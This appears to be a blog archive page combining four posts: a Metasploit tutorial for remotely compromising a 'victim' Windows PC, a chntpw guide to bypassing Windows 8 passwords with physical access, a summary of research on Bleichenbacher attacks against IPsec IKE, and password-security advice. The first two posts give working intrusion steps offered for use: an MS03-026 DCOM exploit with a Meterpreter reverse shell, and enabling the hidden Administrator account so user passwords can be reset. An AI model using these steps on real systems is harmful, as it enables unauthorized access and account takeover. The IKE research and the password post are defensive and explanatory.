DotNet First Side: Apr 19, 2020

Sunday, April 19, 2020

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Read more

Removing Windows 8/8.1 Password With CHNTPW

[Update] If you want to recover Windows 8/8.1 passwords instead of removing them see this tutorial

Cracking Windows 8/8.1 passwords with Mimikatz

So we are back. About a Year ago I wrote a post on how to remove Windows Password using CHNTPW but many readers complained that it was not working on Windows 8. I tried myself on many it worked but once I also got stuck. So I did a little work around. In this tutorial I'm going to show you how to remove Windows 8/8.1 passwords using CHNTPW. Well it's little bit tedious than the older one but believe me it's fun too.

Background:

Let's get started with a little bit background. Windows OSs have a User known as Administrator which is hidden by default. This user is there for security reasons (maybe it's the way around). Most of the users who use Windows are lame, sorry to say that but I'm not talking about you, they don't even know that such an invisible account exists so it is almost everytime without a password. But this Administrator user is a SU (Super User), that means you work wonders once you get access to this account. So our first task will be to make it visible and then we'll access it and using it's power privilages we'll remove password of other accounts (which is not really neccessary cuz you can access any user folder or file using Administrator Account).

Requirements:

1. Physical Access to the Victems computer.
2. A Live Bootable Kali/Backtrack Linux Pendrive or DVD.
(You can downoad Kali Linux here)

Steps:

1. Plug in the Live Bootable Pendrive/DVD into to victim's computer and then boot from it.

2. After accessing kali linux (I'm using Kali Linux) from victim's computer open a terminal.

3. Now we have to mount the drive on which the victim's OS is loaded. In my case it is sda2. So in order to mount that drive I'll type the command:
mount /dev/sda2 /media/temp

this means that I'm mounting the drive in folder /media/temp if you haven't created a temp folder in /media then you must create one by typing these command:
cd /
mkdir /media/temp

4. After mounting the OS we need to access the SAM file and make visible Administrator account using chntpw. It's so simple lemme show you how.
first we'll navigate to /media/temp/Windows/System32/config:
cd /media/temp/Windows/System32/config

now we display the list of users on our victim's computer:
chntpw SAM -l

You'll see an Administrator User there which is disabled. Now we'll enable that:
chntpw SAM -u Administrator

now type 4 and hit return

press 'y' to save changes to SAM file.

OK voila! the hard part is done.

5. Now restart your Computer and take out your Pendrive/DVD from your computer and boot into windows 8 OS. You should be able to see Administrator User on Logon screen now. If not then look for a backward pointing Arrow besides the user Login Picture. Click on that Arrow and you should see an Administrator User. Click on the Administrator Account and wait for a while until windows 8 sets it up.

6. After a while you get Access to the computer and you can access anything. Enjoy :)

7. What you want to remove the password? I don't think it's a stealth mode idea, is it? OK I'll tell you how to do that but It's not a good hacker way of doing.
Open up the command prompt, simple way to do it is:

Press Ctrl + 'x' and then Press 'a' and if prompted click yes.
After that Enter following commands:

net user
(This command will display all users on computer)

net user "User Name" newPassword
(This Command will change the Password of User Name user to newPassword).
OK you're done now logout and enter the new password. It will work for sure.

8. If you want to disable the Administrator Account again then type in command prompt:
net user Administrator /active:no

I tried it on Windows 8/8.1 all versions and it works. Guess what it works on all windows OSs.

Hope you enjoyed this tutorial. Don't forget to share it and yes always read the Disclaimer.

Continue reading

Practical Bleichenbacher Attacks On IPsec IKE

We found out that reusing a key pair across different versions and modes of IPsec IKE can lead to cross-protocol authentication bypasses, enabling the impersonation of a victim host or network by attackers. These vulnerabilities existed in implementations by Cisco, Huawei, and others.

This week at the USENIX Security conference, I will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole [alternative link to the paper]. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and conﬁguration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

Attacks on IKE implementations

With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read this post by our colleague Juraj Somorovsky for an explanation.

The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.

We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.

We additionally show that both PSK based modes can be broken with an offline dictionary attack if the PSK has low entropy. Such an attack was previously only documented for one of those modes (edit: see this comment). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Where's the bug?

The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certiﬁcates during an earlier handshake with signature based authentication). RFC 2409 advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5.

Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a common pitfall for developers. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.

PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not ofﬁcially available. There is no documentation and no conﬁguration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.

Huawei implements a revised mode of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.

We were able to conﬁrm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):

Cisco: CVE-2018-0131, Security Advisory
Huawei: CVE-2017-17305, Security Advisory
Clavister: CVE-2018-8753, Security Advisory
Zyxel: CVE-2018-9129, Security Advisory

On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modiﬁed RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notiﬁcation with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step.

A Bleichenbacher Attack Against PKE

If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difﬁcult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently ﬁxed to 60 seconds for IKEv1 and 240 seconds for IKEv2.

To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an ex post attack to break the conﬁdentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an online attack to impersonate one of the two parties in real time.

Bleichenbacher attack against IKEv1 PKE based authentication.

The figure above depicts a direct attack on IKEv1 PKE:

The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.
The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.
The attackers initiate several parallel PKE based key exchanges to Responder B.

In each of these exchanges, they send and receive the ﬁrst two messages according to the protocol speciﬁcations.
In the third message, they include a modiﬁed version of the encrypted nonce according to the the Bleichenbacher attack methodology.
They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).

After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.
The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.

Key Reuse

Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difﬁcult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair.

A Cross-Protocol Version Attack with Digital Signature Based Authentication

Signature Forgery Using Bleichenbacher's Attack

It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In two papers that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The ROBOT paper used this attack to forge a signature from Facebook's web servers as proof of exploitability.

IKEv2 With Digital Signatures

Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target.

I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1.

If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our paper [alternative link to the paper].

Evaluation and Results

For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.

For the decryption attack on Cisco's IKEv1 responder, we need to ﬁnish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.

But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default conﬁguration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.

We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.

For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.

Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack.

Responsible Disclosure

We reported our ﬁndings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published ﬁxes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.

Huawei published ﬁrmware version V300R001C10SPH702 for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identiﬁed. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.

Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a ﬁx. For the successor models, the patched ﬁrmware version ZLD 4.32 (Release Notes) is available.

FAQs

Why don't you have a cool name for this attack?
The attack itself already has a name, it's Bleichenbacher's attack. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it IPsec-Bleichenbacher or IKE-Bleichenbacher.
Do you have a logo for the attack?
No.
My machine was running a vulnerable firmware. Have I been attacked?
We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.
Where can I learn more?
First of all, you can read the paper [alternative link to the paper]. Second, you can watch the presentation, either live at the conference or later on this page.
What else does the paper contain?
The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is covered in a separate blogpost.

Media Coverage, Blogs, and more

English

German

Read more

Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 1

TL;DR: different passwords have different protection requirements, and different attackers using various attacks can only be prevented through different prevention methods. Password security is not simple. For real advise, checking the second post (in progress).

Are you sick of password advices like "change your password regularly" or "if your password is password change it to pa$$w0rd"? This post is for you!

The news sites are full of password advises nowadays due to recent breaches. When I read/watch these advise (especially on CNN), I am usually pissed off for a lot of reasons. Some advises are terrible (a good collection is here), some are good but without solutions, and others are better, but they don't explain the reasons. Following is my analysis of the problem. It works for me. It might not work for you. Comments are welcome!

Password history

Passwords have been used since ancient times.

Because it is simple. When I started using the Internet, I believe I had three passwords. Windows login, webmail, and IRC. Now I have ~250 accounts/passwords to different things, like to my smartphone, to my cable company (this password can be used to change the channels on the TV), to my online secure cloud storage, to full disk encryption to start my computer, ~~to my nude pictures~~, to my WiFi router, to my cloud server hosting provider, etc etc etc. My money is protected with passwords, my communication is protected with passwords/encryption, my work is protected with passwords. It is pretty damn important. But yet people tend to choose lame passwords. Pretty lame ones. Because they don't think it can be significant. But what is not essential today will be relevant tomorrow. The service you used to download music (iTunes) with the lame password will one day protect all your Apple devices, where attackers can download your backup files, erase all your devices, etc. The seven-character and one capital rule is not enough anymore. This advice is like PDF is safe to open, Java is secure. Old, outdated, untrue.

Now, after this lengthy prologue, we will deep dive into the analysis of the problem, by checking what we want to protect, against whom (who is the attacker), and only after that, we can analyze the solutions. Travel with me, I promise it will be fun! ;)

What to protect?

There are different services online, and various services need different ways to protect. You don't use the same lock on your Trabant as you do on your BMW.

Internet banking, online money

For me, this is the most vital service to protect. Luckily, most of the internet banking services use two-factor authentication (2FA), but unfortunately, not all of them offer transaction authorization/verification with complete transactions. 2FA is not effective against malware, it just complicates the attack. Transaction authorization/verification is better, but not perfect (see Zitmo). If the access is not protected with 2FA, better choose the best password you have (long, real random, sophisticated, but we will get to this later). If it is protected with 2FA, it is still no reason not to use the best password ;) This is what I call the "very high-level password" class.

Credit card data

This system is pretty ~~fucked up~~ bad. Something has to be secret (your credit card number), but in the meantime that is the only thing to identify your credit card. It is like your username is your password. Pretty bad idea, huh? The problem is even worse with a lot of different transaction types, especially when the hotel asks you to fax both sides of your CC to them. Unfortunately, you can't change the password on your credit card, as there is no such thing, but Verified by VISA or 3-D Secure with 2FA might increase the chances your credit card won't get hacked. And on a side note, I have removed the CVV numbers from my credit/debit cards. I only read it once from the card when I received it, I don't need it anymore to be printed there.
And sometimes, you are your own worst enemy. Don't do stupid things like this:

Work related passwords (e.g. Windows domain)

This is very important, but because the attack methods are a bit different, I created this as a different category. Details later.

Email, social sites (Gmail/Facebook/Twitter), cloud storage, online shopping

This is what I call the "high level password" class.

Still, pretty important passwords. Some people don't understand "why would attackers put any energy to get his Facebook account?" It is simple. For money. They can use your account to spread spam all over your Facebook wall. They can write messages to all of your connections and tell them you are in trouble and send money via Western Union or Bitcoin.

They can use your account in Facebook votes. Your e-mail, cloud storage is again very important. 20 years ago you also had letters you didn't want to print and put in front of the nearest store, neither want you to do that with your private photo album. On a side note, it is best to use a cloud storage where even the cloud provider admin can't access your data. But in this case, with no password recovery option, better think about "alternative" password recovery mechanisms.

Other important stuff with personal data (e.g. your name, home address)

The "medium level password" class. This is a personal preference to have this class or not, but in the long run, I believe it is not a waste of energy to protect these accounts. These sites include your favorite pizza delivery service, your local PC store, etc.

Not important stuff

This is the category other. I usually use one-time disposable e-mail to these services. Used for the registration, get what I want, drop the email account. Because I don't want to spread my e-mail address all over the internet, whenever one of these sites get hacked. But still, I prefer to use different, random passwords on these sites, although this is the "low level password" class.

Attackers and attack methods

After categorizing the different passwords to be protected, let's look at the different attackers and attack methods. They can/will/or actively doing it now:

Attacking the clear text password

This is the most effective way of getting the password. Bad news is that if there is no other factor of protection, the victim is definitely not on the winning side. The different attack methods are:

phishing sites/applications,

social engineering,
malware running on the computer (or in the browser),
shoulder surfing (check out for smartphones, hidden cameras),
sniffing clear-text passwords when the website is not protected with SSL,
SSL MiTM,
rogue website administrator/hacker logging clear text passwords,
password reuse - if the attacker can get your password in any way, and you reuse it somewhere else, that is a problem,
you told your password to someone and he/she will misuse it later,
hardware keyloggers,
etc.

The key thing here is that no matter how long your passwords are, no matter how complex it is, no matter how often do you change it (except when you do this every minute ... ), if it is stolen, you are screwed. 2FA might save you, or might not.

Attacking the encrypted password

This is the usual "hack the webserver (via SQL injection), dump the passwords (with SQLMap), post hashes on pastebin, everybody starts the GPU farm to crack the hashes" scenario. This is basically the only scenario where the password policies makes sense. In this case the different level of passwords need different protection levels. In some cases, this attack turns out to be the same as the previous attack, when the passwords are not hashed, or are just encoded.

The current hash cracking speeds for hashes without any iterations (this is unfortunately very common) renders passwords like Q@tCB3nx (8 character, upper-lowercase, digit, special characters) useless, as those can be cracked in hours. Don't believe me? Let's do the math.

Let's say your password is truly random, and randomly choosen from the 26 upper, 26 lower, 10 digit, 33 special characters. (Once I tried special passwords with high ANSI characters inside. It is a terrible idea. Believe me.). There are 6 634 204 312 890 620 different, 8 character passwords from these characters. Assuming a 2 years-old password cracking rig, and MD5 hash cracking with 180 G/s speed, it takes a worst case 10 hours (average 5) to crack the password, ~~including upgrading your bash to the latest, but still vulnerable bash version.~~ Had the password been 10 characters long, it would take 10 years to crack with today hardware. But if the password is not truly random, it can be cracked a lot sooner.

A lot of common hashing algorithms don't use protections against offline brute-force attacks. This includes LM (old Windows hashes), NTLM (modern Windows hashes), MD-5, SHA1-2-512. These hashing algorithms were not developed for password hashing. They don't have salting, iterations, etc. out of the box. In the case of LM, the problem is even worse, as it converts the lowercase characters to uppercase ones, thus radically decreasing the key space. Out of the box, these hashes are made for fast calculation, thus support fast brute-force.

Another attack is when the protected thing is not an online service, but rather an encrypted file or crypto-currency wallet.

Attacking the authentication system online

This is what happened in the recent iCloud hack (besides phishing). Attackers were attacking the authentication system, by either brute-forcing the password, or bypassing the password security by answering the security question. Good passwords can not be brute-forced, as it takes ages. Good security answers have nothing to do with the question in first place. A good security answer is as hard to guess as the password itself. If password recovery requires manual phone calls, I know, it is a bit awkward to say that your first dog name was Xjg.2m`4cJw:V2= , but on the other hand, no one will guess that!

Attacking single sign on

This type of attack is a bit different, as I was not able to put the "pass the hash" attacks anywhere. Pass the hash attack is usually found in Windows domain environments, but others might be affected as well. The key thing is single sign on. If you can login to one system (e.g. your workstation), and access many different network resources (file share, printer, web proxy, e-mail, etc.) without providing any password, then something (a secret) has to be in the memory which can be used to to authenticate to the services. If an attacker can access this secret, he will be able to access all these services. The key thing is (again) it does not matter, how complex your passwords are, how long it is, how often do you change, as someone can easily misuse that secret.

Attacking 2FA

As already stated, 2 factor authentication raises the efforts from an attacker point of view, but does not provide 100% protection.

one time tokens (SecurID, Yubikey) can be relayed in a man-in-the-middle attack,
smartcard authentication can be relayed with the help of a malware to the attacker machine - or simply circumvented in the browser malware,
text based (SMS) messages can be stolen by malware on the smartphone or rerouted via SS7,
bio-metric protection is constantly bypassed,
SSH keys are constantly stolen,
but U2F keys are pretty good actually, even though BGP/DNS hijack or similar MiTM can still circumvent that protection,
etc.

Others

Beware that there are tons of other attack methods to access your online account (like XSS/CSRF), but all of these have to be handled on the webserver side. The best you can do is to choose a website where the Bug Bounty program is running 24/7. Otherwise, the website may be full of low hanging, easy-to-hack bugs.

Now that we have covered what we want to protect against what, in the next blog post, you will see how to do that. Stay tuned. I will also explain the title of this blog post.

DotNet First Side